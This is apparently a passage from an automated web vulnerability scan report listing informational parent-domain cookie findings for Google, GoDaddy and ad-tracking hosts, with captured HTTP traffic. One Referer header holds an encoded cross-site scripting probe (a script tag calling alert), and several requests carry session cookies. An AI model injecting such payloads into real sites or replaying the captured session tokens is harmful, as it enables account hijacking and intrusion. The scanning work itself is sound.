Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df

Response

HTTP/1.1 200 OK
Set-Cookie: SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4;Domain=.google.com;Path=/;Expires=Mon, 13-Sep-2021 17:54:35 GMT
Content-Type: text/javascript; charset=utf-8
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Expires: Fri, 16 Sep 2011 17:54:35 GMT
Date: Fri, 16 Sep 2011 17:54:35 GMT
Cache-Control: private, max-age=3600
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 5519

window.___jsl=window.___jsl||{};
window.___jsl.h=window.___jsl.h||'r;gc\/23803279-4555db52';
window.___jsl.l=[];
window.__GOOGLEAPIS=window.__GOOGLEAPIS||{};
window.__GOOGLEAPIS.gwidget=window.__GOOGL
...[SNIP]...

10.6. http://b.scorecardresearch.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/b

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=9951d9b8-80.67.74.150-1314793633; expires=Sun, 15-Sep-2013 15:29:21 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b?c1=7&c2=8097938&rn=1687656345&c7=http%3A%2F%2Fseg.sharethis.com%2FgetSegment.php%3Fpurl%3Dhttp%253A%252F%252Fwww.blackbaud.com%252F%26jsref%3D%26rnd%3D1316204996203&c3=8097938&c8=ShareThis%20Segmenter&c9=http%3A%2F%2Fwww.blackbaud.com%2F&cv=2.2&cs=js HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://seg.sharethis.com/getSegment.php?purl=http%3A%2F%2Fwww.blackbaud.com%2F&jsref=&rnd=1316204996203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=9951d9b8-80.67.74.150-1314793633

Response

HTTP/1.1 204 No Content
Content-Length: 0
Date: Fri, 16 Sep 2011 15:29:21 GMT
Connection: close
Set-Cookie: UID=9951d9b8-80.67.74.150-1314793633; expires=Sun, 15-Sep-2013 15:29:21 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate

10.7. http://bstats.adbrite.com/click/bstats.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bstats.adbrite.com
Path:	/click/bstats.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ut="1%3AHcxBCoAgEEDRu8y6RQZJeBsrjTQdtbDC6e6V28%2FjF8gdiAJW3SemeQcBCXmbiZ3DoA0xapsQjgOJZc3DUkNSceuJXShdpO4X3tz6E1Ow7hfQwCi9V2mtR3ieFw%3D%3D"; path=/; domain=.adbrite.com; expires=Mon, 13-Sep-2021 16:30:26 GMT
vsd=0@2@4e7379a2@www.drugstore.com; path=/; domain=.adbrite.com; expires=Sun, 18-Sep-2011 16:30:26 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /click/bstats.gif?kid=46037273&bapid=7622&uid=740987 HTTP/1.1
Host: bstats.adbrite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: Apache="168296556x0.184+1312290886x-1235322650"; ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUirKNzMoqzEst7BIy6oxrDHQKSgoKcmvMSxLMytIhwjkZVWmAQWSC7JzQQJKOkpJiXl5qUWZYAOUamsB"; rb2=ChwKBjcxMjE1NhiVssXtMSIMZ2w5OWloMGoweHFuCjwKBjcxMjE4MRip_KKIMiIsV1g5cVpWZDJUWFZFQm1OZUFRWnlYQUpRYVhzUWRBRkJERmxwVlZGT1lBPT0KIwoGNzQyNjk3GPfN-pYuIhM5MDMzNDQyMzIwOTE2MDg3NjM0EAE; rb="0:712156:20838240:gl99ih0j0xqn:0:712181:20838240:WX9qZVd2TXVEBmNeAQZyXAJQaXsQdAFBDFlpVVFOYA==:0:742697:20828160:9033442320916087634:0"

Response

HTTP/1.1 200 OK
Content-Type: image/gif
Set-Cookie: rb=; path=/; domain=.adbrite.com; expires=Fri, 16-Sep-2011 16:30:26 GMT
Set-Cookie: ut="1%3AHcxBCoAgEEDRu8y6RQZJeBsrjTQdtbDC6e6V28%2FjF8gdiAJW3SemeQcBCXmbiZ3DoA0xapsQjgOJZc3DUkNSceuJXShdpO4X3tz6E1Ow7hfQwCi9V2mtR3ieFw%3D%3D"; path=/; domain=.adbrite.com; expires=Mon, 13-Sep-2021 16:30:26 GMT
Set-Cookie: vsd=0@2@4e7379a2@www.drugstore.com; path=/; domain=.adbrite.com; expires=Sun, 18-Sep-2011 16:30:26 GMT
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Connection: close
Server: XPEHb/1.0
Accept-Ranges: none
Date: Fri, 16 Sep 2011 16:30:26 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

10.8. http://go.icontact.com/SEM/AP previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:21 GMT
Content-Length: 9138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_page_ti
...[SNIP]...

10.9. http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/free-30-day-trial-20J6-1725H4.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:53 GMT
Content-Length: 17226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_pag
...[SNIP]...

10.10. http://go.icontact.com/SEM/AP/home-20J6-17231V.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/home-20J6-17231V.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.11. http://ib.adnxs.com/mapuid previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/mapuid

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uuid2=2230616255569715877; path=/; expires=Thu, 15-Dec-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly
uuid2=2230616255569715877; path=/; expires=Thu, 15-Dec-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly
anj=Kfu=8fG68%DYS3+0s]#%2L_'x%SEV/i#+R<4FSn39!r-OkI+zwP7ooYCfd'MJW`c83dBY1)n(>M[<%V[aJ87vV/B@4NYs.YMlDRVIc)_H8y.$NwqVq!7%!wRG/GEp+_VEw/H0cbO+^m4wywmqvD5HylZt-`lsg>'U7h_pKrAi%rT.y?o9'UK6C(jUw_Z.6IFBGy$PK`lu0M6]2s<KIl%_rd%1[EkoV60CGW9)8=tOO<*)xPd`pOWAH^1JiBtesaB:bjz!Z4@A.V9>Z4/>Rhdwnc4Lu9v4EGutB^9(LJwLYo>*<4V?[?QarR!yd6x$3p6s4y9=*jX/T*jr`Mw6TFZ%zE6'f1ZdRRP4T1G*Xlas6zLgu4JM*^DFF/MBCoQ+#s!y^GpU7Wbjxj$[4zrjDdg%=b8H(2MYRYrYXj_?mUnGjoPmm><'LM?#]ki5O*BR; path=/; expires=Thu, 15-Dec-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /mapuid?member=311&user=121773f9380f32f&seg_code=noseg&ord=1316190630 HTTP/1.1
Host: ib.adnxs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: uuid2=2230616255569715877; anj=Kfu=8fG3x=DYS3+0s]#%2L_'x%SEV/i#-ve4FSn39!r-OkI+zwP7ooYCfd'MJW`c83dBY1J^1-5Cntr395?t(4KFjNtVo6NbIG)y#5Z34o7G%v^Fw$`AOx*J(**-7Nh+W.(JV+:gkMW-QRHM#D3I)HhnI(LJ!-aw'VUgsN[as8T8hX74K]7EtSI=V($/vI+)i(IK!IzA[?am$Mm1[N#9If)DYy?#8f_5uOttjiYIEScq5a)DL9DaLSMw=S?7p:`Sg#Ej8+8not7cI9d`eBg)nAQjhWMBa!=O</of]uRE<maNa.+a=X11p#>y#GIFSZB0X.z!NCo!Hs$%(zje8IhvO8hr.31QM`8<5a!-Pj8C6y.invljGq94->PEVb%QV[k@]mYI$cI0VyCP''%J4/</I9G=bM.vp(.?$RyfL5v]FG@0EX; icu=ChII9K4DEAoYASABKAEwzZ_u8gQQzZ_u8gQYAA..; sess=1

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE"
Set-Cookie: sess=1; path=/; expires=Sat, 17-Sep-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2230616255569715877; path=/; expires=Thu, 15-Dec-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2230616255569715877; path=/; expires=Thu, 15-Dec-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG68%DYS3+0s]#%2L_'x%SEV/i#+R<4FSn39!r-OkI+zwP7ooYCfd'MJW`c83dBY1)n(>M[<%V[aJ87vV/B@4NYs.YMlDRVIc)_H8y.$NwqVq!7%!wRG/GEp+_VEw/H0cbO+^m4wywmqvD5HylZt-`lsg>'U7h_pKrAi%rT.y?o9'UK6C(jUw_Z.6IFBGy$PK`lu0M6]2s<KIl%_rd%1[EkoV60CGW9)8=tOO<*)xPd`pOWAH^1JiBtesaB:bjz!Z4@A.V9>Z4/>Rhdwnc4Lu9v4EGutB^9(LJwLYo>*<4V?[?QarR!yd6x$3p6s4y9=*jX/T*jr`Mw6TFZ%zE6'f1ZdRRP4T1G*Xlas6zLgu4JM*^DFF/MBCoQ+#s!y^GpU7Wbjxj$[4zrjDdg%=b8H(2MYRYrYXj_?mUnGjoPmm><'LM?#]ki5O*BR; path=/; expires=Thu, 15-Dec-2011 16:30:31 GMT; domain=.adnxs.com; HttpOnly
Content-Length: 43
Content-Type: image/gif
Date: Fri, 16 Sep 2011 16:30:31 GMT

GIF89a.............!.......,........@..L..;

10.12. http://ib.adnxs.com/seg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/seg

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uuid2=2230616255569715877; path=/; expires=Thu, 15-Dec-2011 15:36:35 GMT; domain=.adnxs.com; HttpOnly
anj=Kfu=8fG68%DYS3+0s]#%2L_'x%SEV/i#+R<4FSn39!r-OkI+zwP7ooYCfd'MJW`c83dBY1J^1-5Cntr395?t(4KFjNtVo6NbIG)y#5Z34o7G%v^Fw$`AOx*J(**-7Nh+W.(JV+:gkMW-QRHM#D3I)HhnI(LJ!-aw'VUgsN[as8T8hX74K]7EtSI=V($/vI+)i(IK!IzA[?am$Mm1[N#9If)DYy?#8f_5uOttjiYIEScq5a)DL9DaLSMw=S?7p:`Sg#Ej8+8noJ+!+(MDu6m4D/#3CRI'!wbHH0%[0i9[?:Wm*eA@IwgvbJnJeOU3uQB-3v.Mwum1V9*yfF*S%ZA(+do)@j3-TInN^oRrI^uHcPO*@bsg]<+#s!y^GpU7Wbjxj$[4zrjDdg%=b8H)2MYRYrYXj_?mUnGjoPmm><'LM?#]mL=U0]-; path=/; expires=Thu, 15-Dec-2011 15:36:35 GMT; domain=.adnxs.com; HttpOnly

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /seg?add=151451&t=2 HTTP/1.1
Host: ib.adnxs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: uuid2=2230616255569715877; anj=Kfu=8fG7DHDYS3+0s]#%2L_'x%SEV/i#-+L4FSn39!r-OV)`C#]Qc+VIT6KwGp6$y9YIv(82eK6D:VuSY[$CSbVHSfCfd'MJW`c83dBZErsDE'Cnqie#C!Ez+6BEs89V9=a^#L6XZ@Sew8v^HviOH?4p'#ux43V(O/$slwwE(^*x)Nl'L:@DeNg8aZ%QD7(p=-R$:ZlH3fM>3p=2mK+b3Mq.ged_41M#m8q]pSjconyL`z$71/WNM/ADGs9KQYy:^bLUM_4N5#5NG6Nh'EoM_B46MJd1d$'m:k-2=6lZz?W7sBv22A.Cl*NL`LS#AoL6#]E]Ii!v(X.tK$#0EM`+8AU?g$qlyh)-F4QwDy9xJxEA@Q(Q't4on3w7fu)8S.LJJC6d)*-99#''vuK8j>0in06hw7KrG(->%q@nP^qkO$d0sG)BuGhOV)rR4/6dPj]vQu$99SnItM)!; icu=ChII9K4DEAoYASABKAEwzZ_u8gQQzZ_u8gQYAA..

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE"
Set-Cookie: uuid2=2230616255569715877; path=/; expires=Thu, 15-Dec-2011 15:36:35 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: sess=1; path=/; expires=Sat, 17-Sep-2011 15:36:35 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG68%DYS3+0s]#%2L_'x%SEV/i#+R<4FSn39!r-OkI+zwP7ooYCfd'MJW`c83dBY1J^1-5Cntr395?t(4KFjNtVo6NbIG)y#5Z34o7G%v^Fw$`AOx*J(**-7Nh+W.(JV+:gkMW-QRHM#D3I)HhnI(LJ!-aw'VUgsN[as8T8hX74K]7EtSI=V($/vI+)i(IK!IzA[?am$Mm1[N#9If)DYy?#8f_5uOttjiYIEScq5a)DL9DaLSMw=S?7p:`Sg#Ej8+8noJ+!+(MDu6m4D/#3CRI'!wbHH0%[0i9[?:Wm*eA@IwgvbJnJeOU3uQB-3v.Mwum1V9*yfF*S%ZA(+do)@j3-TInN^oRrI^uHcPO*@bsg]<+#s!y^GpU7Wbjxj$[4zrjDdg%=b8H)2MYRYrYXj_?mUnGjoPmm><'LM?#]mL=U0]-; path=/; expires=Thu, 15-Dec-2011 15:36:35 GMT; domain=.adnxs.com; HttpOnly
Location: http://apnxscm.ac3.msn.com:81/CACMSH.ashx?&t=1
Date: Fri, 16 Sep 2011 15:36:35 GMT
Content-Length: 0

10.13. http://id.google.com/verify/EAAAAM3m5M-5VWJq99izgRISSwA.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://id.google.com
Path:	/verify/EAAAAM3m5M-5VWJq99izgRISSwA.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df; expires=Sat, 17-Mar-2012 16:13:20 GMT; path=/; domain=.google.com; HttpOnly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /verify/EAAAAM3m5M-5VWJq99izgRISSwA.gif HTTP/1.1
Host: id.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SNID=51=KTDQapZ4fTpJkeLRTd6jL3qAqoPnuMctz75b7_TrMQ=YoO7IMhzJsvpUm7U; PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=OfIpxrXVO5NSaLscWANYTdJ6wK00cMsAk4v9TJrRXGHdy1F4BPsM-1wczJOe1wJItW5A5zxEQcMb9fALGgEiafj_Zx-hNW74w3p8LNx501XJMZ_JLwMORpu5plDcGMX3

Response

HTTP/1.1 200 OK
Set-Cookie: NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df; expires=Sat, 17-Mar-2012 16:13:20 GMT; path=/; domain=.google.com; HttpOnly
Cache-Control: no-cache, private, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Type: image/gif
Date: Fri, 16 Sep 2011 16:13:20 GMT
Server: zwbk
Content-Length: 43
X-XSS-Protection: 1; mode=block

GIF89a.............!.......,...........D..;

10.14. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.15. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:11 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.16. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:18 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.17. http://img.godaddy.com/image.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.godaddy.com
Path:	/image.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

isc=d0d8de1c8075e63937e1be01; domain=.godaddy.com; path=/
visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:07:39 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /image.aspx?sitename=www.godaddy.com&server=M1PWCORPWEB181&privatelabelid=1&status=200&rand=0.479543640035923&page=%2fproductadvisor%2fpastart.aspx&referrer=http%3a%2f%2fwww.godaddy.com%2fgdshop%2fsite_search.asp%3fci%3d9104%26pageNum%3d1%26searchFor%3dxss&ci=13108&split=19&querystring=ci%3d13108 HTTP/1.1
Host: img.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/productadvisor/pastart.aspx?ci=13108
Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; adc1=US; SplitValue1=19; currency1=potableSourceStr=USD; flag1=cflag=us; currencypopin1=cdisplaypopin=false; traffic=cookies=1&referrer=http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss&sitename=www.godaddy.com&page=/productadvisor/pastart.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=13108&shopper=&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=2a590ae0-0ee8-47bd-8061-af016da64611&referringdomain=&split=19; pathway=2a590ae0-0ee8-47bd-8061-af016da64611; pagecount=2; fb_pagecount=2; actioncount=; fb_actioncount=; app_pathway=; fb_session=S_TOUCH=09/16/2011 18:07:29&pathway=2a590ae0-0ee8-47bd-8061-af016da64611&V_DATE=09/16/2011 11:07:19; visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMinorVer=0&fMajorVer=0&slMajorVer=-1&slMinorVer=-1; domainYardVal=%2D1; serverVersion=A

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: pagecount=4; domain=.godaddy.com; path=/
Set-Cookie: fb_pagecount=4; path=/
Set-Cookie: actioncount=; domain=.godaddy.com; path=/
Set-Cookie: fb_actioncount=; path=/
Set-Cookie: app_pathway=; domain=.godaddy.com; path=/
Set-Cookie: fb_session=S_TOUCH=09/16/2011 18:07:39&pathway=2a590ae0-0ee8-47bd-8061-af016da64611&V_DATE=09/16/2011 11:07:19; path=/
Set-Cookie: isc=d0d8de1c8075e63937e1be01; domain=.godaddy.com; path=/
Set-Cookie: visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:07:39 GMT; path=/
Set-Cookie: traffic=; domain=.godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:39 GMT
Content-Length: 43

GIF89a.............!.......,...........D..;

10.18. http://img.godaddy.com/image.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.godaddy.com
Path:	/image.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

actioncount=d0d8de1c964083c62476d317; domain=.godaddy.com; path=/
app_pathway=d0d8de1c713e614c609a8053; domain=.godaddy.com; path=/
visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:07:20 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /image.aspx?sitename=www.godaddy.com&server=M1PWCORPWEB181&privatelabelid=1&status=200&rand=0.189218924934612&page=%2fdefault.aspx&split=19 HTTP/1.1
Host: img.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
